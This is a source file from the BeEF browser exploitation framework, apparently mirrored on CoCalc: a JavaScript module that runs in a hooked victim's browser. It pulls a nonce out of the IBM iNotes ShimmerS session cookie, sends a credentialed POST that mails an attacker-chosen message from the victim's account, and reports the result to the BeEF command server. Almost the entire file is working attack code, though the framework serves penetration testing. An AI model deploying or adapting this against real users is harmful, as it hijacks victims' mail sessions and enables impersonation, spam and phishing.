Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/ibm_inotes/send_inotes/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn [email protected]
3
//
4
// Licensed under the Apache License, Version 2.0 (the "License");
5
// you may not use this file except in compliance with the License.
6
// You may obtain a copy of the License at
7
//
8
// http://www.apache.org/licenses/LICENSE-2.0
9
//
10
// Unless required by applicable law or agreed to in writing, software
11
// distributed under the License is distributed on an "AS IS" BASIS,
12
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
// See the License for the specific language governing permissions and
14
// limitations under the License.
15
//
16
beef.execute(function() {
17
var to = "<%= CGI::escape(@to) %>";
18
var subject = "<%= CGI::escape(@subject) %>";
19
var body = "<%= CGI::escape(@body) %>";
20
21
//get URL for this nsf databse
22
var currentURL = document.URL;
23
var rx = /(.*\.nsf)/g;
24
var arr = rx.exec(currentURL);
25
26
try {
27
var notesURL = arr[1];
28
29
//extract nonce from ShimmerS-cookie
30
var cookies = document.cookie;
31
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
32
var arrc = rxc.exec(cookies);
33
var nonce = arrc[1];
34
35
var xhr = new XMLHttpRequest();
36
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
37
xhr.open("POST", uri, true);
38
xhr.withCredentials = true;
39
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
40
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
41
42
xhr.send(post_data);
43
44
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
45
} catch(e) {
46
beef.debug("Error: " + e);
47
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Send iNotes Error: '+e);
48
}
49
50
});
51
52
53
54
55
56
57
58